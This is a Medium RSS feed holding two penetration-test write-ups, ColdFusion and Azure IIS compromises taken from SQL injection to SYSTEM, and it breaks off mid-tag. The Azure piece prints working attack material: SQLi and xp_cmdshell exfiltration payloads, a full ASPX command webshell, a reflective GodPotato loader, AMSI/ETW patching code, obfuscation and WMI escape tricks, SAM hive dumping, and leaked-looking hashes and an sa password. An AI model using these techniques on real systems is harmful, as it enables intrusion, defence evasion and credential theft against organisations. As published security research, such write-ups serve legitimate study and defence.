<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mhammad Al Abdulla on Medium]]></title>
        <description><![CDATA[Stories by Mhammad Al Abdulla on Medium]]></description>
        <link>https://medium.com/@mhammad.alabdullah?source=rss-f4545dc0b45a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*NvHS7UYodHie7jns.jpg</url>
            <title>Stories by Mhammad Al Abdulla on Medium</title>
            <link>https://medium.com/@mhammad.alabdullah?source=rss-f4545dc0b45a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 14:07:34 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mhammad.alabdullah/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[From a Sort Parameter to SYSTEM: Owning a Legacy ColdFusion Sport Network]]></title>
            <link>https://medium.com/@mhammad.alabdullah/from-a-sort-parameter-to-system-owning-a-legacy-coldfusion-betting-network-23e603c58b70?source=rss-f4545dc0b45a------2</link>
            <guid isPermaLink="false">https://medium.com/p/23e603c58b70</guid>
            <category><![CDATA[windows-server]]></category>
            <category><![CDATA[coldfusion]]></category>
            <category><![CDATA[cfml]]></category>
            <category><![CDATA[token-stealer]]></category>
            <category><![CDATA[ii]]></category>
            <dc:creator><![CDATA[Mhammad Al Abdulla]]></dc:creator>
            <pubDate>Tue, 27 Oct 2026 13:35:41 GMT</pubDate>
            <atom:updated>2026-10-27T18:32:00.135Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A full-chain walkthrough: error-based SQLi → plaintext member creds → admin panel → upload filter bypass → RCE → SYSTEM. One legacy site, zero days needed beyond what the app handed me.</em></p><p>A sports-betting picks network — a dozen affiliate sites sharing one ColdFusion 2023 backend on Windows Server 2022. The kind of stack that was old when it was new. I’ll call it <strong>domain.tld</strong> throughout; screenshots have the real name blurred.</p><p>Chapter 1: The Error That Told Me Everything</p><p>The leaderboard page took a Sort parameter and dropped it straight into an ORDER BY clause. One malformed value and the site answered with a full ColdFusion debug page — stack trace, file paths, the database driver&#39;s name, and the query text itself.</p><p>That single page told me: ColdFusion + MSSQL via the Macromedia JDBC driver, injection point in ORDER BY, and an app that leaks its internals to anyone who asks.</p><p>There was a keyword filter — it bounced anything containing select. It did this by scanning the <strong>raw query string</strong>. Which meant %53ELECT — a URL-encoded S — walked straight past it while SQL Server happily parsed the decoded SELECT.</p><p>The classic error-based channel opened up: convert(int, (subquery)) forces the query&#39;s result into a conversion error message, printed verbatim on the debug page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*uFjgulC9OMBUibDF-0EfYQ.png" /></figure><p>Chapter 2: The Creds Were Just Sitting There</p><p>Enumerating the schema through the error channel turned up tblVMGUser(UserID, AccountID, UserName, Password, …). First row out: a member&#39;s email and their password — <strong>in plaintext</strong>.</p><p>The members&#39; table spilled one row at a time through the error page. And among the accounts: an admin login for the site&#39;s back office.</p><p>Chapter 3: The Admin Panel&#39;s Photo Problem</p><p>The admin panel had a handicapper-profile form with a photo upload. ColdFusion&#39;s cffile blocklist stood guard: no .cfm, .asp, .aspx, .php, .exe…</p><p>The blocklist didn&#39;t include .cer — and this box runs classic ASP behind IIS.</p><p>I uploaded an ASP command shell as a &quot;handicapper photo.&quot; The server obligingly renamed it into /uploads/ — and executed it on request.</p><p>whoami → nt authority\network service</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*lu0f1N-BTs9mhc52sE5hFg.png" /></figure><p>Chapter 4: Defender vs. the Potato</p><p>systeminfo showed Server 2022 with a patch count you could count on one hand — prime potato territory. I pulled GodPotato onto the box; <strong>Defender ate it on sight</strong>. Compiled from source on the box with a Roslyn toolchain pulled from NuGet; <strong>Defender ate that too</strong> — the ML signature keys on structure, not strings:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/296/1*9zx-w34fqAnQKgPg61lK1g.png" /></figure><p>Time to stop fighting the ML model and look sideways.</p><p>Chapter 5: The Service Account That Owned Itself</p><p>The service inventory showed ColdFusion running as a dedicated account, cfuser — and my ASP shell (NETWORK SERVICE) could write straight into the CF webroot. One .cfm shell later, I was executing as cfuser. Its privilege dump was the jackpot:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*_Akm9gfSU7nAycwXeDDNKg.png" /></figure><p>— open any process, steal its token A hand-rolled C# token-stealer — compiled on-box, no signature for Defender to match — opened winlogon&#39;s token and impersonated it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/315/1*jMIzFdBK7UUDqOmWuHPphA.png" /></figure><p>The proof file read back over the shell:</p><pre>NT AUTHORITY\SYSTEM</pre><p>And the bonus finding: cfuser was in BUILTIN\Administrators all along — the box was admin-level the moment the CF shell landed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*tmGx95XMKzr6eSPWhNwT8g.png" /></figure><p>Chapter 6: The Manager</p><p>With SYSTEM in hand I dropped a proper web-based file manager into the webroot — browse, read, download, delete, upload (through <em>my own</em> cffile handler, so no blocklist), and run commands, all from the browser, all as cfuser-the-admin.</p><p>The Chain, End to End</p><pre>Error-based SQLi (%53ELECT filter bypass)<br>  → plaintext member + admin creds<br>  → admin panel photo upload (.cer past the cffile blocklist)<br>  → ASP shell as NETWORK SERVICE<br>  → writable CF webroot → CF shell as cfuser (local admin + SeDebug)<br>  → custom token-stealer (winlogon token → impersonate)<br>  → NT AUTHORITY\SYSTEM</pre><p>No zero-days. No exotic tooling. Just a legacy app that leaked everything it touched, a blocklist with a hole, and a service account holding keys it should never have had.</p><p>Disclaimer</p><p><em>This writeup is published </em><strong><em>after the vulnerabilities were reported and patched</em></strong><em>. The findings were disclosed to the client after the engagement, the affected systems have been remediated, and all access established during testing has been removed. All testing was performed with authorization as part of a security assessment.</em></p><p>Salam 👋</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=23e603c58b70" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From SQL Injection to SYSTEM on Azure IIS — Beating the EDR with In-Process Magic]]></title>
            <link>https://medium.com/@mhammad.alabdullah/from-sql-injection-to-system-on-azure-iis-beating-the-edr-with-in-process-magic-55e2d0a92473?source=rss-f4545dc0b45a------2</link>
            <guid isPermaLink="false">https://medium.com/p/55e2d0a92473</guid>
            <category><![CDATA[edr-evasion]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[azure]]></category>
            <dc:creator><![CDATA[Mhammad Al Abdulla]]></dc:creator>
            <pubDate>Mon, 19 Oct 2026 11:20:28 GMT</pubDate>
            <atom:updated>2026-10-19T11:20:28.058Z</atom:updated>
            <content:encoded><![CDATA[<p><em>How one bad SQL parameter became NT AUTHORITY\SYSTEM, why the EDR never caught us, and how we ended up with a web-based file manager running every operation as SYSTEM.</em></p><h3>Prologue</h3><p>Every engagement has a moment where you realize the target is <em>not</em> a pushover. This one had two: the moment a stacked-query SQL injection handed us a webshell, and the moment we learned that every classic privilege-escalation trick we threw at it got <strong>silently murdered</strong> by an EDR that never logged a single event.</p><p>This is the story of how we went from a ?rec= parameter to a SYSTEM token, dumped every admin hash on the box without ever touching LSASS, built a <strong>file manager whose every operation runs as SYSTEM</strong> — and, with one wrong service stop, locked ourselves out until the VM rebooted. All the defensive lessons are at the end.</p><blockquote><em>🎯 </em><strong><em>Target:</em></strong><em> an IIS 10 / ASP.NET / SQL Server 2022 web application on a Windows Azure VM (US Central). </em><strong><em>Scope:</em></strong><em> bug bounty. </em><strong><em>Goal:</em></strong><em> prove RCE, escalate, extract credentials, expand access. </em><strong><em>Screenshots:</em></strong><em> real captures from the engagement (target domain/IP redacted; hashes and credentials shown as-is).</em></blockquote><h3>TL;DR</h3><ol><li><strong>SQL injection</strong> (error-based, stacked queries) in Catalog.aspx?lec=1&amp;rec= → full SQL Server control as sa.</li><li><strong>xp_cmdshell</strong> → dropped an ASPX command shell into the webroot → code execution as the IIS app pool (iis apppool\.net v4.5) with <strong>SeImpersonatePrivilege</strong>.</li><li><strong>GodPotato v1.20</strong>, loaded <strong>reflectively from an XOR-encrypted blob</strong> (AMSI/ETW patched first) → <strong>SYSTEM token, used in-process via impersonation</strong> — because the EDR kills any attempt to <em>create processes</em> with elevated tokens.</li><li><strong>RegSaveKeyW</strong> exported SAM/SYSTEM/SECURITY → secretsdump → <strong>all local admin NTLM hashes</strong> (offline crack: 0/3 with rockyou — strong passwords).</li><li><strong>A web file manager with SYSTEM rights:</strong> every browse / download / upload / registry read is executed by a <strong>detached one-shot loader</strong> (GodPotato → SYSTEM) spawned via WMI — because the potato <em>inside</em> the web process is blocked by the IIS <strong>job object</strong>.</li><li>Enabled the built-in <strong>Administrator</strong> (was disabled) with a known password and moved <strong>RDP to port 443</strong> (already open in Windows Firewall for IIS).</li><li><strong>Plot twist:</strong> stopping W3SVC does <em>not</em> release http.sys listeners (that’s WAS’s job) → TermService couldn’t bind 443 → temporary lockout → <strong>reboot required</strong>.</li><li><strong>The protection we bypassed:</strong> <strong>Microsoft Defender</strong> (file-scan + AMSI layer) and a <strong>behavioral EDR</strong> (silent kills, never logged a single event — product never positively fingerprinted). <strong>No zero-days: every primitive is a published technique</strong> (potato family, AMSI/ETW patching, reflective loading, in-process token impersonation, WMI, hive export) — the win was the <em>combination</em> and the in-process-only discipline.</li></ol><h3>1. Recon: boring is beautiful</h3><p>The initial scan showed a completely ordinary Windows web stack:</p><pre>$ nmap -sV -sC <br>PORT     STATE SERVICE<br>80/tcp   open  http    Microsoft IIS httpd 10.0<br>443/tcp  open  ssl/https<br>1433/tcp open  ms-sql  Microsoft SQL Server 2022 16.0.1190.2</pre><p>IIS 10, ASP.NET, and a SQL Server listening on 1433 (NSG-filtered from outside, but the app talks to it). Classic ASP.NET e-commerce-ish layout: a Catalog.aspx page with ?lec=1&amp;rec= parameters. A product catalog with a numeric rec parameter screamed <strong>SQL injection</strong>, and we were not disappointed.</p><h3>2. The injection: one parameter to rule them all</h3><p>Catalog.aspx?lec=1&amp;rec= was <strong>error-based injectable</strong>. The app builds SQL with our input and reflects the error. The winning primitive was a <strong>stacked query</strong> with a closing parenthesis:</p><pre>1)); ;--</pre><p>Why the parenthesis? The original query looked something like SELECT ... FROM ... WHERE (lec = 1 AND rec = &lt;input&gt;) — so we close the paren, run our own statement, and comment out the rest. Error-based confirmation:</p><pre>$ curl &quot;https:///Catalog.aspx?lec=1&amp;rec=1));%20SELECT%201/0;--&quot;<br>...<br>Msg 8134, Level 16, State 1: Divide by zero error encountered.</pre><p>An unhandled SQL error in the page = our query executed inside the app’s session. From there it was a straight line to database domination: sa was sitting on a weak password, BondWife1121!! (yes, really), and the DB was [DB_NAME].</p><pre># enumerate<br>1)); SELECT name FROM master.sys.databases;--<br>1)); SELECT name FROM sys.server_principals WHERE type=&#39;S&#39;;--</pre><pre># grab the goods<br>1)); SELECT loginname FROM master.sys.syslogins;--<br>sa | [DB_NAME]</pre><h3>Command output, exfiltrated through error messages</h3><p>xp_cmdshell output is invisible to the page — but the <strong>database can&#39;t write to the webroot</strong>, so a classic &gt; file drop in a web folder was out. The trick: write command output to a <strong>temp file</strong> the SQL service <em>can</em> write, then read it back <em>through the injection itself</em> with OPENROWSET(BULK ...) and a deliberate type-conversion error that leaks the content:</p><pre>-- 1) run the command, capture output<br>1)); EXEC xp_cmdshell &#39;whoami &gt; C:\Windows\Temp\o.txt 2&gt;&amp;1&#39;;--<br>-- 2) read the file and force SQL to print it in the error<br>1)); SELECT CONVERT(int,(SELECT BulkColumn FROM OPENROWSET(BULK &#39;C:\Windows\Temp\o.txt&#39;,SINGLE_CLOB) AS x));--</pre><p>The page renders: Conversion failed when converting the nvarchar value &#39;nt service\mssqlserver&#39; to data type int. That error string <strong>is our command output</strong> — a full read channel with zero web-visible files. The screenshot below shows a SYSTEM-privileged loader log (debug output from a post-exploitation stage) leaking through the same channel:</p><p>SQLi error page leaking command output via OPENROWSET — the error text IS the exfiltrated file content</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/0*6S5FPZYJX7bB40e8" /></figure><h3>3. From SQL to a shell</h3><p>SQL Server 2022 with sa means xp_cmdshell. One sp_configure dance later, we were executing OS commands as the <strong>SQL Server service account</strong>, which — in this misconfiguration — had write access to the IIS webroot. So we wrote a minimal ASPX command shell:</p><pre>&lt;% @ Page Language=&quot;C#&quot; %&gt;<br>&lt;% @ Import Namespace=&quot;System.Diagnostics&quot; %&gt;<br>&lt;%<br>if (Request[&quot;cmd&quot;] != null) {<br>    Process p = new Process();<br>    p.StartInfo.FileName = &quot;cmd.exe&quot;;<br>    p.StartInfo.Arguments = &quot;/c &quot; + Request[&quot;cmd&quot;];<br>    p.StartInfo.UseShellExecute = false;<br>    p.StartInfo.RedirectStandardOutput = true;<br>    p.Start();<br>    Response.Write(&quot;</pre><pre>&quot; + p.StandardOutput.ReadToEnd() + &quot;</pre><pre>&quot;);<br>}<br>%&gt;</pre><p>And confirmed code execution on the box — first blood on the webshell:</p><p>Webshell whoami: the shell runs as iis apppool.net v4.5</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/164/1*8WstP5f-pfVDbjum1uy1Bg.png" /></figure><pre>$ curl &quot;...?cmd=whoami%20/priv&quot;</pre><pre>...<br>SeImpersonatePrivilege        Enabled<br>...</pre><p><strong>SeImpersonatePrivilege enabled</strong> — the golden ticket for the potato family. The box was ours to escalate.</p><h3>The disabled recovery account</h3><p>While mapping accounts we checked the built-in Administrator — and found it <strong>disabled</strong> (Account active: No). A detail that would matter a lot later:</p><p>net user Administrator: the built-in admin is disabled — the recovery account we’d later enable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*1l0GkYlNP1u6GqCYgGgUiQ.png" /></figure><p><strong>[ IMAGE 3/6 — if this image did not paste into Medium, drag 03_webshell_netuser.png from the medium-screenshots folder to this spot, then delete this line ]</strong></p><h3>4. SYSTEM, quietly: why GodPotato and why in-process</h3><pre>[ SQLi in Catalog.aspx (error-based) ]<br>        |<br>        v<br>[ sa / weak creds — stacked queries ]<br>        |<br>        v<br>[ xp_cmdshell → cmder.aspx webshell (app pool) ]<br>        |<br>        v<br>[ SeImpersonatePrivilege ENABLED ]<br>        |<br>        v<br>[ GodPotato v1.20 — reflective, encrypted, AMSI/ETW patched ]<br>        |<br>        v<br>[ SYSTEM token — in-process impersonation ]<br>        |<br>        v</pre><p>📈</p><p>The classic playbook says: <em>JuicyPotato / PrintSpoof / RoguePotato → spawn a child process as SYSTEM</em>. We tried. <strong>Every single attempt died instantly</strong> — no error, no crash log, no Event Log entry. The process was just <em>gone</em>.</p><p>That’s when we understood the environment: a <strong>behavioral EDR</strong> sits on this box, and it watches <strong>process creation with elevated tokens</strong>. It doesn’t care about the potato trick itself; it kills the <em>outcome</em>.</p><p>Enter <strong>GodPotato v1.20</strong>, which has a superpower the others lack: it exposes <strong>GetToken()</strong>. Instead of spawning a SYSTEM process, it hands you a ready-made <strong>WindowsIdentity token</strong> that you can <em>impersonate in your own process</em>. No child process. Nothing for the EDR to kill.</p><p>The technique, briefly: GodPotato abuses <strong>RPCSS (DCOM activation)</strong> through a <strong>named pipe + NTLM relay</strong>, gets the RPCSS server to authenticate to us, and ends up with a SYSTEM token. The HookRPC + Start + Trigger dance happens entirely inside our process.</p><pre>// core of the loader (simplified)<br>PatchAmsiAndEtw();                                  // AmsiScanBuffer &amp; EtwEventWrite -&gt; 0xC3<br>byte[] dec = XorDecrypt(File.ReadAllBytes(&quot;orig.bin&quot;), key);   // encrypted payload in RAM<br>Assembly asm = Assembly.Load(dec);                  // reflective load, never touches disk<br>Type ctxT = asm.GetType(&quot;GodPotato.NativeAPI.GodPotatoContext&quot;);<br>object ctx  = Activator.CreateInstance(ctxT, new object[] { TextWriter.Null, Guid.NewGuid().ToString() });<br>ctxT.GetMethod(&quot;HookRPC&quot;).Invoke(ctx, null);<br>ctxT.GetMethod(&quot;Start&quot;).Invoke(ctx, null);<br>Type trT = asm.GetType(&quot;GodPotato.NativeAPI.GodPotatoUnmarshalTrigger&quot;);<br>object tr  = Activator.CreateInstance(trT, new object[] { ctx });<br>trT.GetMethod(&quot;Trigger&quot;).Invoke(tr, null);<br>WindowsIdentity sysId = (WindowsIdentity)ctxT.GetMethod(&quot;GetToken&quot;).Invoke(ctx, null);<br>IntPtr tok; DuplicateTokenEx(sysId.Token, ..., out tok);<br>EnablePrivilege(tok, &quot;SeBackupPrivilege&quot;);<br>EnablePrivilege(tok, &quot;SeRestorePrivilege&quot;);<br>ImpersonateLoggedOnUser(tok);   // &lt;- now THIS thread is SYSTEM</pre><pre>$ ...?cmd=powershell -nop -c &quot;&quot;<br>...<br>whoami under impersonation: nt authority\system</pre><p><strong>We were SYSTEM — and the EDR never blinked</strong>, because nothing it watches ever happened: no CreateProcessAsUserW, no CreateProcessWithTokenW, no Task Scheduler registration. Just a thread that suddenly had more privileges. In-process impersonation is invisible to this class of defense.</p><h3>5. The EDR didn’t like us: building the behavioral map</h3><p>Before we settled on the safe path, we burned several loader runs learning exactly what the EDR kills. Each run tested <strong>one</strong> operation. The results became our rulebook:</p><pre>Operation                                                         | Result                                | Verdict                        <br>------------------------------------------------------------------+---------------------------------------+--------------------------------<br>CreateProcessAsUserW / CreateProcessWithTokenW (SYSTEM token)     | process killed instantly              | 🚫 BLOCKED                      <br>Task Scheduler RegisterTask (SYSTEM principal, highest run level) | killed silently at RegisterTask       | 🚫 BLOCKED                      <br>ServerManager.CommitChanges (writes IIS applicationHost.config)   | killed mid-write — config dir emptied | 🚫 BLOCKED                      <br>ImpersonateLoggedOnUser + in-process APIs                         | works, every time                     | ✅ ALLOWED                      <br>Registry writes (HKLM\...\RDP-Tcp PortNumber)                     | works                                 | ✅ ALLOWED                      <br>ServiceController stop/start (TermService, W3SVC, WAS)            | works                                 | ✅ ALLOWED                      <br>RegSaveKeyW (hive export)                                         | works                                 | ✅ ALLOWED                      <br>File copies / NetUserSetInfo (enable admin, set password)         | works                                 | ✅ ALLOWED                      <br>WMI Win32_Process.Create (detached, app-pool identity)            | works                                 | ✅ ALLOWED                      <br>OpenProcess on other processes from inside w3wp                   | Access is denied                      | 🚫 JOB OBJECT (not EDR — see §7)</pre><blockquote><strong><em>The lesson:</em></strong><em> the EDR is behavioral, not signature-based, and its blind spot is </em>everything that happens inside an already-running process<em>. Get the token in-process, impersonate, and </em><strong><em>never spawn anything</em></strong><em> — </em>except<em> through WMI, which creates the child outside the IIS job object.</em></blockquote><p><strong>What we were up against:</strong> the box runs <strong>Microsoft Defender</strong> (on-disk file scanning + AMSI for scripted content) on top of a <strong>behavioral EDR</strong> that kills the <em>outcome</em> of an attack rather than the attack itself — elevated process creation and protected-config writes die silently, with <strong>zero Event Log entries</strong> and no crash artifacts. We never positively fingerprinted the EDR product: it never logged, so there was nothing to read. The evasion toolkit (§6) is built around that observed behavior, not around a product name.</p><p><strong>Common technique or zero-day?</strong> Nothing in this chain is a zero-day. Every primitive maps to a published, well-documented technique:</p><pre>Primitive                                    | Public technique / TTP                                                             <br>---------------------------------------------+------------------------------------------------------------------------------------<br>sa + stacked queries via SQLi                | Classic SQL injection (OWASP A03)                                                  <br>xp_cmdshell → ASPX webshell                  | Classic SQL Server misconfig (T1059 / T1505.003)                                   <br>GodPotato v1.20 (GetToken())                 | Public potato-family exploit — SeImpersonatePrivilege → SYSTEM via DCOM (T1134.001)<br>AMSI + ETW inline patch (0xC3)               | Well-known in-memory tampering (T1562.001)                                         <br>XOR-encrypted reflective Assembly.Load       | Reflective code loading (T1620)                                                    <br>In-process token impersonation               | Access-token manipulation (T1134) — as old as Windows                              <br>WMI Win32_Process.Create (job-object escape) | WMI execution (T1047)                                                              <br>RegSaveKeyW hive export → offline crack      | Registry-hive credential dump (T1003.002)</pre><p>The <em>implementation</em> is ours — renamed types, char-array strings, per-op one-shot loaders — but every building block is public knowledge. What made it work against this EDR is the <strong>combination</strong>: a potato that hands you a token instead of spawning a process, used exclusively in-process, plus a behavioral map that told us exactly which APIs the defender watches.</p><h3>6. The evasion toolkit (how we never got flagged)</h3><p>2</p><p><strong>XOR-encrypted payloads</strong><br>public exploit never touches disk; decrypted in memory only</p><p>3</p><p><strong>AMSI + ETW inline patch</strong><br>AmsiScanBuffer &amp; EtwEventWrite → 0xC3 (ret) before any reflective load</p><p>4</p><p><strong>In-process execution only</strong><br>impersonate the SYSTEM token; never spawn elevated child processes</p><p>5</p><p><strong>Behavioral mapping</strong><br>probe one API per run, keep only what the EDR allows</p><p>6</p><p><strong>Job-object escape via WMI</strong><br>Win32_Process.Create → child of wmiprvse, survives w3svc/WAS stops</p><h3>6.1 AMSI + ETW patched before anything loaded</h3><p>The moment we Assembly.Load the decrypted GodPotato, PowerShell&#39;s AMSI would scan it — and Defender could flag the in-memory image. So the very first thing the loader does is <strong>patch the scanners out</strong>:</p><pre>static void Patch(string dll, string func) {<br>    IntPtr a = GetProcAddress(LoadLibrary(dll), func);<br>    if (a == IntPtr.Zero) return;<br>    uint old; VirtualProtect(a, 1, 0x40, out old);   // PAGE_EXECUTE_READWRITE<br>    Marshal.WriteByte(a, 0, 0xC3);                   // ret<br>    VirtualProtect(a, 1, old, out old);<br>}<br>Patch(&quot;amsi.dll&quot;,       &quot;AmsiScanBuffer&quot;);<br>Patch(&quot;ntdll.dll&quot;,      &quot;EtwEventWrite&quot;);</pre><p>AmsiScanBuffer → ret means AMSI is a no-op. EtwEventWrite → ret kills the ETW telemetry stream the defender uses for behavioral correlation. Applied <strong>before</strong> every reflective load, idempotently.</p><h3>6.2 Nothing public ever touched disk</h3><p>The original GodPotato v1.20 binary was <strong>XOR-encrypted</strong> (16-byte key) before we hosted it. On the target, only orig.bin exists — no PE header, no AV signature, nothing to match. Decryption happens <strong>in memory</strong>, microseconds before Assembly.Load. (And only the <em>original</em> V1.20 works — repacked copies fail its internal checks, so we never modify it.)</p><h3>6.3 Source-level obfuscation: boring is beautiful (again)</h3><p>Every loader was compiled with zero exploit identifiers:</p><ul><li>Namespaces/classes/methods <strong>renamed</strong> (GodPotatoContext → opaque names).</li><li>Every distinctive string rebuilt at runtime as <strong>char arrays</strong>:</li></ul><pre>static string CS(params char[] c) { return new string(c); }<br>// &quot;GodPotato.NativeAPI.GodPotatoContext&quot; never appears in the binary:<br>Type t = asm.GetType(CS(&#39;G&#39;,&#39;o&#39;,&#39;d&#39;,&#39;P&#39;,&#39;o&#39;,&#39;t&#39;,&#39;a&#39;,&#39;t&#39;,&#39;o&#39;,&#39;.&#39;,&#39;N&#39;,&#39;a&#39;,&#39;t&#39;,&#39;i&#39;,&#39;v&#39;,&#39;e&#39;,&#39;A&#39;,&#39;P&#39;,&#39;I&#39;,&#39;.&#39;,&#39;G&#39;,&#39;o&#39;,&#39;d&#39;,&#39;P&#39;,&#39;o&#39;,&#39;t&#39;,&#39;a&#39;,&#39;t&#39;,&#39;o&#39;,&#39;C&#39;,&#39;o&#39;,&#39;n&#39;,&#39;t&#39;,&#39;e&#39;,&#39;x&#39;,&#39;t&#39;));</pre><ul><li>GUIDs changed, project identity stripped.</li><li>Loaders compiled <strong>locally on Kali</strong> (Roslyn), never on the target.</li></ul><p>Result: static scanners (file + memory string scans) find <em>nothing</em> — because the strings don’t exist until the CPU builds them.</p><h3>6.4 Job-object escape and the temp-ASP.NET trap</h3><p>Webshell → powershell -c &quot;&lt;inline loader&gt;&quot; runs inside the <strong>w3wp job object</strong> (IIS kills everything in it when the app pool recycles). We detach via WMI:</p><pre>wmic process call create &quot;powershell -nop -c ...&quot;</pre><p>The loader becomes a child of wmiprvse.exe — <strong>outside the job object</strong> — and survives w3svc / WAS stops, which we needed later.</p><p>One environment quirk bit us after a reboot: every .aspx page 500&#39;d with Could not load file or assembly &#39;App_Web_....dll&#39; — Access is denied. The Temporary ASP.NET Files ACLs had been mangled. Fix, done in-process as SYSTEM with DirectorySecurity:</p><pre>DirectorySecurity ds = new DirectorySecurity();<br>ds.AddAccessRule(new FileSystemAccessRule(&quot;IIS_IUSRS&quot;, FullControl, ContainerInherit, ObjectInherit, None));<br>ds.AddAccessRule(new FileSystemAccessRule(&quot;Everyone&quot;,   FullControl, ContainerInherit, ObjectInherit, None));<br>Directory.SetAccessControl(tempDir, ds);   // recursive, as SYSTEM</pre><p>Fresh shells with fresh names compiled fine afterward; only the pre-reboot pages kept 500&#39;ing on <strong>stale locked DLLs</strong> (cosmetic — we had working shells).</p><h3>7. A file manager with SYSTEM rights</h3><p>The fun part. We wanted a <strong>web file manager whose every operation runs as SYSTEM</strong> — browse any folder, read/write any file, dump any registry hive, from the browser.</p><h3>Why the obvious approach failed</h3><p>The first attempt ran the whole GodPotato chain <strong>inside the web page itself</strong> (fm.aspx): a static cached SYSTEM token, ImpersonateLoggedOnUser, then plain File/Registry calls. It worked as the app pool (NT AUTHORITY\IUSR) — WMI command execution, file ops on accessible paths — but the potato <strong>threw</strong>:</p><pre>Win32Exception: Access is denied<br>   at ProcessManager.OpenProcess(...)<br>   at GodPotatoContext.InitContext()</pre><p><strong>Root cause:</strong> IIS runs w3wp inside a <strong>job object</strong>, and job objects restrict OpenProcess on processes outside the job — which is exactly what the potato needs to grab a SYSTEM token. The job object is a <em>kernel</em> restriction; no EDR involved. The same potato worked flawlessly from any process <em>outside</em> the job (SQL Server, WMI children). In-w3wp SYSTEM was a dead end.</p><h3>The design: one-shot executors over a dropbox protocol</h3><p>The proven pattern was already there: the <strong>loaders run fine as SYSTEM when spawned detached</strong> (child of wmiprvse, outside the job object). So instead of fighting the job object, we made every file operation a tiny, short-lived SYSTEM process:</p><pre>fm.aspx (app pool, in w3wp)<br>   │  1. writes agent_cmd.txt   (seq + op + base64 args)<br>   │  2. WMI Win32_Process.Create → powershell (child of wmiprvse,<br>   │     OUTSIDE the w3wp job object)<br>   ▼<br>one-shot ldr13: AMSI/ETW patch → decrypt orig.bin → GodPotato → SYSTEM<br>   │  3. reads agent_cmd.txt, executes EXACTLY ONE op<br>   │  4. writes agent_out.txt   (seq + result)<br>   ▼<br>fm.aspx polls agent_out.txt until the seq matches → renders</pre><p>A <strong>seq number</strong> in both files prevents stale-result races. The whole cycle takes <strong>~1.5–3 s per operation</strong> — a fresh powershell + potato per op. The screenshot shows the finished product browsing C:\Users as SYSTEM — including the Default User and service profiles a normal app pool can&#39;t see:</p><p>The file manager in SYSTEM-agent mode — every browse/download/upload/registry op runs as NT AUTHORITY\SYSTEM</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/0*p3rcB4zazYqj00Sm" /></figure><p>The operations are a superset of the app-pool mode:</p><pre>Op                | What it does                                      <br>------------------+---------------------------------------------------<br>LIST              | directory listing (dirs + files, size, mtime)     <br>READ              | file → base64 (2 MB cap per op)                   <br>WRITE             | base64 → file (this is how upload as SYSTEM works)<br>DEL / MKDIR / REN | classic file ops                                  <br>REG               | read any registry key (hive + path)               <br>WHOAMI / INFO     | identity + environment</pre><p>Proof it’s really SYSTEM, all through the browser UI:</p><ul><li>REG HKLM\SAM → <strong>readable</strong> (only SYSTEM/Administrators can open the SAM hive — an app pool gets Access Denied);</li><li>C:\Windows\System32\config → full 51-entry listing;</li><li><strong>WRITE to </strong><strong>C:\Windows\Tasks\sys_proof.txt</strong> as SYSTEM (28 bytes) → listed → downloaded back → base64 decoded to SYSTEM_WRITE_OK_2026 → deleted again.</li></ul><p>The earlier app-pool file manager (webroot operations, uploads) is still there for the non-privileged day-to-day:</p><p>The app-pool file manager in the webroot — the webroot write vector and upload/download hub</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/0*3bM2oTdsmLTbhPy4" /></figure><h3>Why not a persistent agent?</h3><p>We tried. A looping agent that holds the SYSTEM token and serves ops forever <strong>died silently seconds after startup</strong> — no managed exception, no log line. A long-lived potato context gets killed (native crash or EDR); a short-lived one completes every time. So: <strong>one-shot per op</strong> — slower, but deterministic and unkillable. If an op dies, the page just reports a timeout and you click again.</p><h3>8. Hashes without touching LSASS</h3><p>LSASS dumping is the most-monitored action on Windows. We didn’t need it — as SYSTEM, we used the <strong>backup API</strong> RegSaveKeyW to export the hives (a completely legitimate operation), pulled them to our box, and cracked them offline:</p><pre># on target, as SYSTEM (in-process)<br>reg save HKLM\SAM      SAM.hiv<br>reg save HKLM\SYSTEM   SYSTEM.hiv<br>reg save HKLM\SECURITY SECURITY.hiv</pre><pre># on Kali<br>$ impacket-secretsdump -sam SAM.hiv -system SYSTEM.hiv -security SECURITY.hiv LOCAL<br>[*] Dumping local SAM hashes<br>Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>[VM_NAME]\VBCVVLPAdmin:1001:...:9355f996c251867c64b1ae4668f23212:::<br>[VM_NAME]\PastorWright:1002:...:6e1fdc29c59a2e9d5eca6190229fd307:::</pre><pre>$ hashcat -m 1000 ntlm_hashes.txt rockyou.txt   # offline crack</pre><p>Live from the cracking box — NTLM mode, rockyou, ~2.6 MH/s on a single GPU:</p><p>hashcat live: -m 1000 (NTLM) against the dumped hashes, rockyou wordlist, ~2.6 MH/s</p><figure><img alt="" 